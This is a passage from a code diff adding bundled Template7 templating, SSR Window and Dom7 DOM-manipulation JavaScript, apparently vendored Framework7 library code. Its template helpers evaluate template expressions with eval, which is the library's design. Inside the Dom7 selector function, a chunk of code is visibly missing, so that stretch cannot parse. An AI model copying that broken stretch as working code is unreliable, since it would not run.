key in ctx) { + i += 1; + ret += options.fn(ctx[key], { key: key }); + } + } + if (i > 0) { return ret; } + return options.inverse(this); + }, + with: function with$1(context, options) { + var ctx = context; + if (Template7Utils.isFunction(ctx)) { ctx = context.call(this); } + return options.fn(ctx); + }, + join: function join(context, options) { + var ctx = context; + if (Template7Utils.isFunction(ctx)) { ctx = ctx.call(this); } + return ctx.join(options.hash.delimiter || options.hash.delimeter); + }, + js: function js(expression, options) { + var data = options.data; + var func; + var execute = expression; + ('index first last key').split(' ').forEach(function (prop) { + if (typeof data[prop] !== 'undefined') { + var re1 = new RegExp(("this.@" + prop), 'g'); + var re2 = new RegExp(("@" + prop), 'g'); + execute = execute + .replace(re1, JSON.stringify(data[prop])) + .replace(re2, JSON.stringify(data[prop])); + } + }); + if (options.root && execute.indexOf('@root') >= 0) { + execute = Template7Utils.parseJsVariable(execute, '@root', options.root); + } + if (execute.indexOf('@global') >= 0) { + execute = Template7Utils.parseJsVariable(execute, '@global', Template7Context.Template7.global); + } + if (execute.indexOf('../') >= 0) { + execute = Template7Utils.parseJsParents(execute, options.parents); + } + if (execute.indexOf('return') >= 0) { + func = "(function(){" + execute + "})"; + } else { + func = "(function(){return (" + execute + ")})"; + } + return eval(func).call(this); + }, + js_if: function js_if(expression, options) { + var data = options.data; + var func; + var execute = expression; + ('index first last key').split(' ').forEach(function (prop) { + if (typeof data[prop] !== 'undefined') { + var re1 = new RegExp(("this.@" + prop), 'g'); + var re2 = new RegExp(("@" + prop), 'g'); + execute = execute + .replace(re1, JSON.stringify(data[prop])) + .replace(re2, JSON.stringify(data[prop])); + } + }); + if (options.root && execute.indexOf('@root') >= 0) { + execute = Template7Utils.parseJsVariable(execute, '@root', options.root); + } + if (execute.indexOf('@global') >= 0) { + execute = Template7Utils.parseJsVariable(execute, '@global', Template7Context.Template7.global); + } + if (execute.indexOf('../') >= 0) { + execute = Template7Utils.parseJsParents(execute, options.parents); + } + if (execute.indexOf('return') >= 0) { + func = "(function(){" + execute + "})"; + } else { + func = "(function(){return (" + execute + ")})"; + } + var condition = eval(func).call(this); + if (condition) { + return options.fn(this, options.data); + } + + return options.inverse(this, options.data); + }, + }; + Template7Helpers.js_compare = Template7Helpers.js_if; + + var Template7Options = {}; + var Template7Partials = {}; + var script = Template7Context.document.createElement('script'); + Template7Context.document.head.appendChild(script); + + var Template7Class = function Template7Class(template) { + var t = this; + t.template = template; + }; + + var staticAccessors = { options: { configurable: true },partials: { configurable: true },helpers: { configurable: true } }; + Template7Class.prototype.compile = function compile (template, depth) { + if ( template === void 0 ) template = this.template; + if ( depth === void 0 ) depth = 1; + + var t = this; + if (t.compiled) { return t.compiled; } + + if (typeof template !== 'string') { + throw new Error('Template7: Template must be a string'); + } + var stringToBlocks = Template7Utils.stringToBlocks; + var getCompileVar = Template7Utils.getCompileVar; + var getCompiledArguments = Template7Utils.getCompiledArguments; + + var blocks = stringToBlocks(template); + var ctx = "ctx_" + depth; + var data = "data_" + depth; + if (blocks.length === 0) { + return function empty() { return ''; }; + } + + function getCompileFn(block, newDepth) { + if (block.content) { return t.compile(block.content, newDepth); } + return function empty() { return ''; }; + } + function getCompileInverse(block, newDepth) { + if (block.inverseContent) { return t.compile(block.inverseContent, newDepth); } + return function empty() { return ''; }; + } + + var resultString = ''; + if (depth === 1) { + resultString += "(function (" + ctx + ", " + data + ", root) {\n"; + } else { + resultString += "(function (" + ctx + ", " + data + ") {\n"; + } + if (depth === 1) { + resultString += 'function isArray(arr){return Array.isArray(arr);}\n'; + resultString += 'function isFunction(func){return (typeof func === \'function\');}\n'; + resultString += 'function c(val, ctx) {if (typeof val !== "undefined" && val !== null) {if (isFunction(val)) {return val.call(ctx);} else return val;} else return "";}\n'; + resultString += 'root = root || ctx_1 || {};\n'; + } + resultString += 'var r = \'\';\n'; + var i; + for (i = 0; i < blocks.length; i += 1) { + var block = blocks[i]; + // Plain block + if (block.type === 'plain') { + // eslint-disable-next-line + resultString += "r +='" + ((block.content).replace(/\r/g, '\\r').replace(/\n/g, '\\n').replace(/'/g, '\\' + '\'')) + "';"; + continue; + } + var variable = (void 0); + var compiledArguments = (void 0); + // Variable block + if (block.type === 'variable') { + variable = getCompileVar(block.contextName, ctx, data); + resultString += "r += c(" + variable + ", " + ctx + ");"; + } + // Helpers block + if (block.type === 'helper') { + var parents = (void 0); + if (ctx !== 'ctx_1') { + var level = ctx.split('_')[1]; + var parentsString = "ctx_" + (level - 1); + for (var j = level - 2; j >= 1; j -= 1) { + parentsString += ", ctx_" + j; + } + parents = "[" + parentsString + "]"; + } else { + parents = "[" + ctx + "]"; + } + var dynamicHelper = (void 0); + if (block.helperName.indexOf('[') === 0) { + block.helperName = getCompileVar(block.helperName.replace(/[[\]]/g, ''), ctx, data); + dynamicHelper = true; + } + if (dynamicHelper || block.helperName in Template7Helpers) { + compiledArguments = getCompiledArguments(block.contextName, ctx, data); + resultString += "r += (Template7Helpers" + (dynamicHelper ? ("[" + (block.helperName) + "]") : ("." + (block.helperName))) + ").call(" + ctx + ", " + (compiledArguments && ((compiledArguments + ", "))) + "{hash:" + (JSON.stringify(block.hash)) + ", data: " + data + " || {}, fn: " + (getCompileFn(block, depth + 1)) + ", inverse: " + (getCompileInverse(block, depth + 1)) + ", root: root, parents: " + parents + "});"; + } else if (block.contextName.length > 0) { + throw new Error(("Template7: Missing helper: \"" + (block.helperName) + "\"")); + } else { + variable = getCompileVar(block.helperName, ctx, data); + resultString += "if (" + variable + ") {"; + resultString += "if (isArray(" + variable + ")) {"; + resultString += "r += (Template7Helpers.each).call(" + ctx + ", " + variable + ", {hash:" + (JSON.stringify(block.hash)) + ", data: " + data + " || {}, fn: " + (getCompileFn(block, depth + 1)) + ", inverse: " + (getCompileInverse(block, depth + 1)) + ", root: root, parents: " + parents + "});"; + resultString += '}else {'; + resultString += "r += (Template7Helpers.with).call(" + ctx + ", " + variable + ", {hash:" + (JSON.stringify(block.hash)) + ", data: " + data + " || {}, fn: " + (getCompileFn(block, depth + 1)) + ", inverse: " + (getCompileInverse(block, depth + 1)) + ", root: root, parents: " + parents + "});"; + resultString += '}}'; + } + } + } + resultString += '\nreturn r;})'; + + if (depth === 1) { + // eslint-disable-next-line + t.compiled = eval(resultString); + return t.compiled; + } + return resultString; + }; + staticAccessors.options.get = function () { + return Template7Options; + }; + staticAccessors.partials.get = function () { + return Template7Partials; + }; + staticAccessors.helpers.get = function () { + return Template7Helpers; + }; + + Object.defineProperties( Template7Class, staticAccessors ); + + function Template7() { + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + var template = args[0]; + var data = args[1]; + if (args.length === 2) { + var instance = new Template7Class(template); + var rendered = instance.compile()(data); + instance = null; + return (rendered); + } + return new Template7Class(template); + } + Template7.registerHelper = function registerHelper(name, fn) { + Template7Class.helpers[name] = fn; + }; + Template7.unregisterHelper = function unregisterHelper(name) { + Template7Class.helpers[name] = undefined; + delete Template7Class.helpers[name]; + }; + Template7.registerPartial = function registerPartial(name, template) { + Template7Class.partials[name] = { template: template }; + }; + Template7.unregisterPartial = function unregisterPartial(name) { + if (Template7Class.partials[name]) { + Template7Class.partials[name] = undefined; + delete Template7Class.partials[name]; + } + }; + Template7.compile = function compile(template, options) { + var instance = new Template7Class(template, options); + return instance.compile(); + }; + + Template7.options = Template7Class.options; + Template7.helpers = Template7Class.helpers; + Template7.partials = Template7Class.partials; + + /** + * SSR Window 1.0.0 + * Better handling for window object in SSR environment + * https://github.com/nolimits4web/ssr-window + * + * Copyright 2018, Vladimir Kharlampidi + * + * Licensed under MIT + * + * Released on: February 10, 2018 + */ + var d; + if (typeof document === 'undefined') { + d = { + body: {}, + addEventListener: function addEventListener() {}, + removeEventListener: function removeEventListener() {}, + activeElement: { + blur: function blur() {}, + nodeName: '', + }, + querySelector: function querySelector() { + return null; + }, + querySelectorAll: function querySelectorAll() { + return []; + }, + getElementById: function getElementById() { + return null; + }, + createEvent: function createEvent() { + return { + initEvent: function initEvent() {}, + }; + }, + createElement: function createElement() { + return { + children: [], + childNodes: [], + style: {}, + setAttribute: function setAttribute() {}, + getElementsByTagName: function getElementsByTagName() { + return []; + }, + }; + }, + location: { hash: '' }, + }; + } else { + // eslint-disable-next-line + d = document; + } + + var doc = d; + + var w; + if (typeof window === 'undefined') { + w = { + document: doc, + navigator: { + userAgent: '', + }, + location: {}, + history: {}, + CustomEvent: function CustomEvent() { + return this; + }, + addEventListener: function addEventListener() {}, + removeEventListener: function removeEventListener() {}, + getComputedStyle: function getComputedStyle() { + return { + getPropertyValue: function getPropertyValue() { + return ''; + }, + }; + }, + Image: function Image() {}, + Date: function Date() {}, + screen: {}, + setTimeout: function setTimeout() {}, + clearTimeout: function clearTimeout() {}, + }; + } else { + // eslint-disable-next-line + w = window; + } + + var win = w; + + /** + * Dom7 2.0.7 + * Minimalistic JavaScript library for DOM manipulation, with a jQuery-compatible API + * http://framework7.io/docs/dom.html + * + * Copyright 2018, Vladimir Kharlampidi + * The iDangero.us + * http://www.idangero.us/ + * + * Licensed under MIT + * + * Released on: June 14, 2018 + */ + + var Dom7 = function Dom7(arr) { + var self = this; + // Create array-like object + for (var i = 0; i < arr.length; i += 1) { + self[i] = arr[i]; + } + self.length = arr.length; + // Return collection with methods + return this; + }; + + function $$1(selector, context) { + var arr = []; + var i = 0; + if (selector && !context) { + if (selector instanceof Dom7) { + return selector; + } + } + if (selector) { + // String + if (typeof selector === 'string') { + var els; + var tempParent; + var html = selector.trim(); + if (html.indexOf('<') >= 0 && html.indexOf('>') >= 0) { + var toCreate = 'div'; + if (html.indexOf(':~]/)) { + // Pure ID selector + els = [doc.getElementById(selector.trim().split('#')[1])]; + } else { + // Other selectors + els = (context || doc).querySelectorAll(selector.trim()); + } + for (i = 0; i < els.length; i += 1) { + if (els[i]) { arr.push(els[i]); } + } + } + } else if (selector.nodeType || selector === win || selector === doc) { + // Node/element + arr.push(selector); + } else if (selector.length > 0 && selector[0].nodeType) { + // Array of elements or instance of Dom + for (i = 0; i < selector.length; i += 1) { + arr.push(selector[i]); + } + } + } + return new Dom7(arr); + } + + $$1.fn = Dom7.prototype; + $$1.Class = Dom7; + $$1.Dom7 = Dom7; + + function unique(arr) { + var uniqueArray = []; + for (var i = 0; i < arr.length; i += 1) { + if (uniqueArray.indexOf(arr[i]) === -1) { uniqueArray.push(arr[i]); } + } + return uniqueArray; + } + function toCamelCase(string) { + return string.toLowerCase().replace(/-(.)/g, function (match, group1) { return group1.toUpperCase(); }); + } + + function requestAnimationFrame(callback) { + if (win.requestAnimationFrame) { return win.requestAnimationFrame(callback); } + else if (win.webkitRequestAnimationFrame) { return win.webkitRequestAnimationFrame(callback); } + return win.setTimeout(callback, 1000 / 60); + } + function cancelAnimationFrame(id) { + if (win.cancelAnimationFrame) { return win.cancelAnimationFrame(id); } + else if (win.webkitCancelAnimationFrame) { return win.webkitCancelAnimationFrame(id); } + return win.clearTimeout(id); + } + + // Classes and attributes + function addClass(className) { + var this$1 = this; + + if (typeof className === 'undefined') { + return this; + } + var classes = className.split(' '); + for (var i = 0; i < classes.length; i += 1) { + for (var j = 0; j < this.length; j += 1) { + if (typeof this$1[j] !== 'undefined' && typeof this$1[j].classList !== 'undefined') { this$1[j].classList.add(classes[i]); } + } + } + return this; + } + function removeClass(className) { + var this$1 = this; + + var classes = className.split(' '); + for (var i = 0; i < classes.length; i += 1) { + for (var j = 0; j < this.length; j += 1) { + if (typeof this$1[j] !== 'undefined' && typeof this$1[j].classList !== 'undefined') { this$1[j].classList.remove(classes[i]); } + } + } + return this; + } + function hasClass(className) { + if (!this[0]) { return false; } + return this[0].classList.contains(className); + } + function toggleClass(className) { + var this$1 = this; + + var classes = className.split(' '); + for (var i = 0; i < classes.length; i += 1) { + for (var j = 0; j < this.length; j += 1) { + if (typeof this$1[j] !== 'undefined' && typeof this$1[j].classList !== 'undefined') { this$1[j].classList.toggle(classes[i]); } + } + } + return this; + } + function attr(attrs, value) { + var arguments$1 = arguments; + var this$1 = this; + + if (arguments.length === 1 && typeof attrs === 'string') { + // Get attr + if (this[0]) { return this[0].getAttribute(attrs); } + return undefined; + } + + // Set attrs + for (var i = 0; i < this.length; i += 1) { + if (arguments$1.length === 2) { + // String + this$1[i].setAttribute(attrs, value); + } else { + // Object + // eslint-disable-next-line + for (var attrName in attrs) { + this$1[i][attrName] = attrs[attrName]; + this$1[i].setAttribute(attrName, attrs[attrName]); + } + } + } + return this; + } + // eslint-disable-next-line + function removeAttr(attr) { + var this$1 = this; + + for (var i = 0; i < this.length; i += 1) { + this$1[i].removeAttribute(attr); + } + return this; + } + // eslint-disable-next-line + function prop(props, value) { + var arguments$1 = arguments; + var this$1 = this; + + if (arguments.length === 1 && typeof props === 'string') { + // Get prop + if (this[0]) { return this[0][props]; } + } else { + // Set props + for (var i = 0; i < this.length; i += 1) { + if (arguments$1.length === 2) { + // String + this$1[i][props] = value; + } else { + // Object + // eslint-disable-next-line + for (var propName in props) { + this$1[i][propName] = props[propName]; + } + } + } + return this; + } + } + function data(key, value) { + var this$1 = this; + + var el; + if (typeof value === 'undefined') { + el = this[0]; + // Get value + if (el) { + if (el.dom7ElementDataStorage && (key in el.dom7ElementDataStorage)) { + return el.dom7ElementDataStorage[key]; + } + + var dataKey = el.getAttribute(("data-" + key)); + if (dataKey) { + return dataKey; + } + return undefined; + } + return undefined; + } + + // Set value + for (var i = 0; i < this.length; i += 1) { + el = this$1[i]; + if (!el.dom7ElementDataStorage) { el.dom7ElementDataStorage = {}; } + el.dom7ElementDataStorage[key] = value; + } + return this; + } + function removeData(key) { + var this$1 = this; + + for (var i = 0; i < this.length; i += 1) { + var el = this$1[i]; + if (el.dom7ElementDataStorage && el.dom7ElementDataStorage[key]) { + el.dom7ElementDataStorage[key] = null; + delete el.dom7ElementDataStorage[key]; + } + } + } + function dataset() { + var el = this[0]; + if (!el) { return undefined; } + var dataset = {}; // eslint-disable-line + if (el.dataset) { + // eslint-disable-next-line + for (var dataKey in el.dataset) { + dataset[dataKey] = el.dataset[dataKey]; + } + } else { + for (var i = 0; i < el.attributes.length; i += 1) { + // eslint-disable-next-line + var attr = el.attributes[i]; + if (attr.name.indexOf('data-') >= 0) { + dataset[toCamelCase(attr.name.split('data-')[1])] = attr.value; + } + } + } + // eslint-disable-next-line + for (var key in dataset) { + if (dataset[key] === 'false') { dataset[key] = false; } + else if (dataset[key] === 'true') { dataset[key] = true; } + else if (parseFloat(dataset[key]) === dataset[key] * 1) { dataset[key] *= 1; } + } + return dataset; + } + function val(value) { + var dom = this; + if (typeof value === 'undefined') { + if (dom[0]) { + if (dom[0].multiple && dom[0].nodeName.toLowerCase() === 'select') { + var values = []; + for (var i = 0; i < dom[0].selectedOptions.length; i += 1) { + values.push(dom[0].selectedOptions[i].value); + } + return values; + } + return dom[0].value; + } + return undefined; + } + + for (var i$1 = 0; i$1 < dom.length; i$1 += 1) { + var el = dom[i$1]; + if (Array.isArray(value) && el.multiple && el.nodeName.toLowerCase() === 'select') { + for (var j = 0; j < el.options.length; j += 1) { + el.options[j].selected = value.indexOf(el.options[j].value) >= 0; + } + } else { + el.value = value; + } + } + return dom; + } + // Transforms + // eslint-disable-next-line + function transform(transform) { + var this$1 = this; + + for (var i = 0; i < this.length; i += 1) { + var elStyle = this$1[i].style; + elStyle.webkitTransform = transform; + elStyle.transform = transform; + } + return this; + } + function transition(duration) { + var this$1 = this; + + if (typeof duration !== 'string') { + duration = duration + "ms"; // eslint-disable-line + } + for (var i = 0; i < this.length; i += 1) { + var elStyle = this$1[i].style; + elStyle.webkitTransitionDuration = duration; + elStyle.transitionDuration = duration; + } + return this; + } + // Events + function on() { + var this$1 = this; + var assign; + + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + var eventType = args[0]; + var targetSelector = args[1]; + var listener = args[2]; + var capture = args[3]; + if (typeof args[1] === 'function') { + (assign = args, eventType = assign[0], listener = assign[1], capture = assign[2]); + targetSelector = undefined; + } + if (!capture) { capture = false; } + + function handleLiveEvent(e) { + var target = e.target; + if (!target) { return; } + var eventData = e.target.dom7EventData || []; + if (eventData.indexOf(e) < 0) { + eventData.unshift(e); + } + if ($$1(target).is(targetSelector)) { listener.apply(target, eventData); } + else { + var parents = $$1(target).parents(); // eslint-disable-line + for (var k = 0; k < parents.length; k += 1) { + if ($$1(parents[k]).is(targetSelector)) { listener.apply(parents[k], eventData); } + } + } + } + function handleEvent(e) { + var eventData = e && e.target ? e.target.dom7EventData || [] : []; + if (eventData.indexOf(e) < 0) { + eventData.unshift(e); + } + listener.apply(this, eventData); + } + var events = eventType.split(' '); + var j; + for (var i = 0; i < this.length; i += 1) { + var el = this$1[i]; + if (!targetSelector) { + for (j = 0; j < events.length; j += 1) { + var event = events[j]; + if (!el.dom7Listeners) { el.dom7Listeners = {}; } + if (!el.dom7Listeners[event]) { el.dom7Listeners[event] = []; } + el.dom7Listeners[event].push({ + listener: listener, + proxyListener: handleEvent, + }); + el.addEventListener(event, handleEvent, capture); + } + } else { + // Live events + for (j = 0; j < events.length; j += 1) { + var event$1 = events[j]; + if (!el.dom7LiveListeners) { el.dom7LiveListeners = {}; } + if (!el.dom7LiveListeners[event$1]) { el.dom7LiveListeners[event$1] = []; } + el.dom7LiveListeners[event$1].push({ + listener: listener, + proxyListener: handleLiveEvent, + }); + el.addEventListener(event$1, handleLiveEvent, capture); + } + } + } + return this; + } + function off() { + var this$1 = this; + var assign; + + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + var eventType = args[0]; + var targetSelector = args[1]; + var listener = args[2]; + var capture = args[3]; + if (typeof args[1] === 'function') { + (assign = args, eventType = assign[0], listener = assign[1], capture = assign[2]); + targetSelector = undefined; + } + if (!capture) { capture = false; } + + var events = eventType.split(' '); + for (var i = 0; i < events.length; i += 1) { + var event = events[i]; + for (var j = 0; j < this.length; j += 1) { + var el = this$1[j]; + var handlers = (void 0); + if (!targetSelector && el.dom7Listeners) { + handlers = el.dom7Listeners[event]; + } else if (targetSelector && el.dom7LiveListeners) { + handlers = el.dom7LiveListeners[event]; + } + if (handlers && handlers.length) { + for (var k = handlers.length - 1; k >= 0; k -= 1) { + var handler = handlers[k]; + if (listener && handler.listener === listener) { + el.removeEventListener(event, handler.proxyListener, capture); + handlers.splice(k, 1); + } else if (!listener) { + el.removeEventListener(event, handler.proxyListener, capture); + handlers.splice(k, 1); + } + } + } + } + } + return this; + } + function once() { + var assign; + + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + var dom = this; + var eventName = args[0]; + var targetSelector = args[1]; + var listener = args[2]; + var capture = args[3]; + if (typeof args[1] === 'function') { + (assign = args, eventName = assign[0], listener = assign[1], capture = assign[2]); + targetSelector = undefined; + } + function proxy() { + var eventArgs = [], len = arguments.length; + while ( len-- ) eventArgs[ len ] = arguments[ len ]; + + listener.apply(this, eventArgs); + dom.off(eventName, targetSelector, proxy, capture); + } + return dom.on(eventName, targetSelector, proxy, capture); + } + function trigger() { + var this$1 = this; + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + var events = args[0].split(' '); + var eventData = args[1]; + for (var i = 0; i < events.length; i += 1) { + var event = events[i]; + for (var j = 0; j < this.length; j += 1) { + var el = this$1[j]; + var evt = (void 0); + try { + evt = new win.CustomEvent(event, { + detail: eventData, + bubbles: true, + cancelable: true, + }); + } catch (e) { + evt = doc.createEvent('Event'); + evt.initEvent(event, true, true); + evt.detail = eventData; + } + // eslint-disable-next-line + el.dom7EventData = args.filter(function (data, dataIndex) { return dataIndex > 0; }); + el.dispatchEvent(evt); + el.dom7EventData = []; + delete el.dom7EventData; + } + } + return this; + } + function transitionEnd(callback) { + var events = ['webkitTransitionEnd', 'transitionend']; + var dom = this; + var i; + function fireCallBack(e) { + /* jshint validthis:true */ + if (e.target !== this) { return; } + callback.call(this, e); + for (i = 0; i < events.length; i += 1) { + dom.off(events[i], fireCallBack); + } + } + if (callback) { + for (i = 0; i < events.length; i += 1) { + dom.on(events[i], fireCallBack); + } + } + return this; + } + function animationEnd(callback) { + var events = ['webkitAnimationEnd', 'animationend']; + var dom = this; + var i; + function fireCallBack(e) { + if (e.target !== this) { return; } + callback.call(this, e); + for (i = 0; i < events.length; i += 1) { + dom.off(events[i], fireCallBack); + } + } + if (callback) { + for (i = 0; i < events.length; i += 1) { + dom.on(events[i], fireCallBack); + } + } + return this; + } + // Sizing/Styles + function width() { + if (this[0] === win) { + return win.innerWidth; + } + + if (this.length > 0) { + return parseFloat(this.css('width')); + } + + return null; + } + function outerWidth(includeMargins) { + if (this.length > 0) { + if (includeMargins) { + // eslint-disable-next-line + var styles = this.styles(); + return this[0].offsetWidth + parseFloat(styles.getPropertyValue('margin-right')) + parseFloat(styles.getPropertyValue('margin-left')); + } + return this[0].offsetWidth; + } + return null; + } + function height() { + if (this[0] === win) { + return win.innerHeight; + } + + if (this.length > 0) { + return parseFloat(this.css('height')); + } + + return null; + } + function outerHeight(includeMargins) { + if (this.length > 0) { + if (includeMargins) { + // eslint-disable-next-line + var styles = this.styles(); + return this[0].offsetHeight + parseFloat(styles.getPropertyValue('margin-top')) + parseFloat(styles.getPropertyValue('margin-bottom')); + } + return this[0].offsetHeight; + } + return null; + } + function offset() { + if (this.length > 0) { + var el = this[0]; + var box = el.getBoundingClientRect(); + var body = doc.body; + var clientTop = el.clientTop || body.clientTop || 0; + var clientLeft = el.clientLeft || body.clientLeft || 0; + var scrollTop = el === win ? win.scrollY : el.scrollTop; + var scrollLeft = el === win ? win.scrollX : el.scrollLeft; + return { + top: (box.top + scrollTop) - clientTop, + left: (box.left + scrollLeft) - clientLeft, + }; + } + + return null; + } + function hide() { + var this$1 = this; + + for (var i = 0; i < this.length; i += 1) { + this$1[i].style.display = 'none'; + } + return this; + } + function show() { + var this$1 = this; + + for (var i = 0; i < this.length; i += 1) { + var el = this$1[i]; + if (el.style.display === 'none') { + el.style.display = ''; + } + if (win.getComputedStyle(el, null).getPropertyValue('display') === 'none') { + // Still not visible + el.style.display = 'block'; + } + } + return this; + } + function styles() { + if (this[0]) { return win.getComputedStyle(this[0], null); } + return {}; + } + function css(props, value) { + var this$1 = this; + + var i; + if (arguments.length === 1) { + if (typeof props === 'string') { + if (this[0]) { return win.getComputedStyle(this[0], null).getPropertyValue(props); } + } else { + for (i = 0; i < this.length; i += 1) { + // eslint-disable-next-line + for (var prop in props) { + this$1[i].style[prop] = props[prop]; + } + } + return this; + } + } + if (arguments.length === 2 && typeof props === 'string') { + for (i = 0; i < this.length; i += 1) { + this$1[i].style[props] = value; + } + return this; + } + return this; + } + + // Dom manipulation + function toArray() { + var this$1 = this; + + var arr = []; + for (var i = 0; i < this.length; i += 1) { + arr.push(this$1[i]); + } + return arr; + } + // Iterate over the collection passing elements to `callback` + function each(callback) { + var this$1 = this; + + // Don't bother continuing without a callback + if (!callback) { return this; } + // Iterate over the current collection + for (var i = 0; i < this.length; i += 1) { + // If the callback returns false + if (callback.call(this$1[i], i, this$1[i]) === false) { + // End the loop early + return this$1; + } + } + // Return `this` to allow chained DOM operations + return this; + } + function forEach(callback) { + var this$1 = this; + + // Don't bother continuing without a callback + if (!callback) { return this; } + // Iterate over the current collection + for (var i = 0; i < this.length; i += 1) { + // If the callback returns false + if (callback.call(this$1[i], this$1[i], i) === false) { + // End the loop early + return this$1; + } + } + // Return `this` to allow chained DOM operations + return this; + } + function filter(callback) { + var matchedItems = []; + var dom = this; + for (var i = 0; i < dom.length; i += 1) { + if (callback.call(dom[i], i, dom[i])) { matchedItems.push(dom[i]); } + } + return new Dom7(matchedItems); + } + function map(callback) { + var modifiedItems = []; + var dom = this; + for (var i = 0; i < dom.length; i += 1) { + modifiedItems.push(callback.call(dom[i], i, dom[i])); + } + return new Dom7(modifiedItems); + } + // eslint-disable-next-line + function html(html) { + var this$1 = this; + + if (typeof html === 'undefined') { + return this[0] ? this[0].innerHTML : undefined; + } + + for (var i = 0; i < this.length; i += 1) { + this$1[i].innerHTML = html; + } + return this; + } + // eslint-disable-next-line + function text(text) { + var this$1 = this; + + if (typeof text === 'undefined') { + if (this[0]) { + return this[0].textContent.trim(); + } + return null; + } + + for (var i = 0; i < this.length; i += 1) { + this$1[i].textContent = text; + } + return this; + } + function is(selector) { + var el = this[0]; + var compareWith; + var i; + if (!el || typeof selector === 'undefined') { return false; } + if (typeof selector === 'string') { + if (el.matches) { return el.matches(selector); } + else if (el.webkitMatchesSelector) { return el.webkitMatchesSelector(selector); } + else if (el.msMatchesSelector) { return el.msMatchesSelector(selector); } + + compareWith = $$1(selector); + for (i = 0; i < compareWith.length; i += 1) { + if (compareWith[i] === el) { return true; } + } + return false; + } else if (selector === doc) { return el === doc; } + else if (selector === win) { return el === win; } + + if (selector.nodeType || selector instanceof Dom7) { + compareWith = selector.nodeType ? [selector] : selector; + for (i = 0; i < compareWith.length; i += 1) { + if (compareWith[i] === el) { return true; } + } + return false; + } + return false; + } + function indexOf(el) { + var this$1 = this; + + for (var i = 0; i < this.length; i += 1) { + if (this$1[i] === el) { return i; } + } + return -1; + } + function index() { + var child = this[0]; + var i; + if (child) { + i = 0; + // eslint-disable-next-line + while ((child = child.previousSibling) !== null) { + if (child.nodeType === 1) { i += 1; } + } + return i; + } + return undefined; + } + // eslint-disable-next-line + function eq(index) { + if (typeof index === 'undefined') { return this; } + var length = this.length; + var returnIndex; + if (index > length - 1) { + return new Dom7([]); + } + if (index < 0) { + returnIndex = length + index; + if (returnIndex < 0) { return new Dom7([]); } + return new Dom7([this[returnIndex]]); + } + return new Dom7([this[index]]); + } + function append() { + var this$1 = this; + var args = [], len = arguments.length; + while ( len-- ) args[ len ] = arguments[ len ]; + + var newChild; + + for (var k = 0; k < args.length; k += 1) { + newChild = args[k]; + for (var i = 0; i < this.length; i += 1) { + if (typeof newChild === 'string') { + var tempDiv = doc.createElement('div'); + tempDiv.innerHTML = newChild; + while (tempDiv.firstChild) { + this$1[i].appendChild(tempDiv.firstChild); + } + } else if (newChild instanceof Dom7) { + for (var j = 0; j < newChild.length; j += 1) { + this$1[i].appendChild(newChild[j]); + } + } else { + this$1[i].appendChild(newChild); + } + } + } + + return this; + } + // eslint-disable-next-line + function appendTo(parent) { + $$1(parent).append(this); + return this; + } + function prepend(newChild) { + var this$1 = this; + + var i; + var j; + for (i = 0; i < this.length; i += 1) { + if (typeof newChild === 'string') { + var tempDiv = doc.createElement('div'); + tempDiv.innerHTML = newChild; + for (j = tempDiv.childNodes.length - 1; j >= 0; j -= 1) { + this$1[i].insertBefore(tempDiv.childNodes[j], this$1[i].childNodes[0]); + } + } else if (newChild instanceof Dom7) { + for (j = 0; j < newChild.length; j += 1) { + this$1[i].insertBefore(newChild[j], this$1[i].childNodes[0]); + } + } else { + this$1[i].insertBefore(newChild, this$1[i].childNodes[0]); + } + } + return this; + } + // eslint-disable-next-line + function prependTo(parent) { + $$1(parent).prepend(this); + return this; + } + function insertBefore(selector) { + var this$1 = this; + + var before = $$1(selector); + for (var i = 0; i < this.length; i += 1) { + if (before.length === 1) { + before[0].parentNode.insertBefore(this$1[i], before[0]); + } else if (before.length > 1) { + for (var j = 0; j < before.length; j += 1) { + before[j].parentNode.insertBefore(this$1[i].cloneNode(true), before[j]); + } + } + } + } + function insertAfter(selector) { + var this$1 = this; + + var after = $$1(selector); + for (var i = 0; i < this.length; i += 1) { + if (after.length === 1) { + after[0].parentNode.insertBefore(this$1[i], after[0].nextSibling); + } else if (after.length > 1) { + for (var j = 0; j < after.length; j += 1) { + after[j].parentNode.insertBefore(this$1[i].cloneNode(true), after[j].nextSibling); + } + } + } + } + function next(selector) { + if (this.length > 0) { + if (selector) { + if (this[0].nextElementSibling && $$1(this[0].nextElementSibling).is(selector)) { + return new Dom7([this[0].nextElementSibling]); + } + return new Dom7([]); + } + + if (this[0].nextElementSibling) { return new Dom7([this[0].nextElementSibling]); } + return new Dom7([]); + } + return new Dom7([]); + } + function nextAll(selector) { + var nextEls = []; + var el = this[0]; + if (!el) { return new Dom7([]); } + while (el.nextElementSibling) { + var next = el.nextElementSibling; // eslint-disable-line + if (selector) { + if ($$1(next).is(selector)) { nextEls.push(next); } + } else { nextEls.push(next); } + el = next; + } + return new Dom7(nextEls); + } + function prev(selector) { + if (this.length > 0) { + var el = this[0]; + if (selector) { + if (el.previousElementSibling && $$1(el.previousElementSibling).is(selector)) { + return new Dom7([el.previousElementSibling]); + } + return new Dom7([]); + } + + if (el.previousElementSibling) { return new Dom7([el.previousElementSibling]); } + return new Dom7([]); + } + return new Dom7([]); + } + function prevAll(selector) { + var prevEls = []; + var el = this[0]; + if (!el) { return new Dom7([]); } + while (el.previousElementSibling) { + var prev = el.previousElementSibling; // eslint-disable-line + if (selector) { + if ($$1(prev).is(selector)) { prevEls.push(prev); } + } else { prevEls.push(prev); } + el = prev; + } + return new Dom7(prevEls); + } + function siblings(selector) { + return this.nextAll(selector).add(this.prevAll(selector)); + } + function parent(selector) { + var this$1 = this; + + var parents = []; // eslint-disable-line + for (var i = 0; i < this.length; i += 1) { + if (this$1[i].parentNode !== null) { + if (selector) { + if ($$1(this$1[i].parentNode).is(selector)) { parents.push(this$1[i].parentNode); } + } else { + parents.push(this$1[i].parentNode); + } + } + } + return $$1(unique(parents)); + } + function parents(selector) { + var this$1 = this; + + var parents = []; // eslint-disable-line + for (var i = 0; i < this.length; i += 1) { + var parent = this$1[i].parentNode; // eslint-disable-line + while (parent) { + if (selector) { + if ($$1(parent).is(selector)) { parents.push(parent); } + } else { + parents.push(parent); + } + parent = parent.parentNode; + } + } + return $$1(unique(parents)); + } + function closest(selector) { + var closest = this; // eslint-disable-line + if (typeof selector === 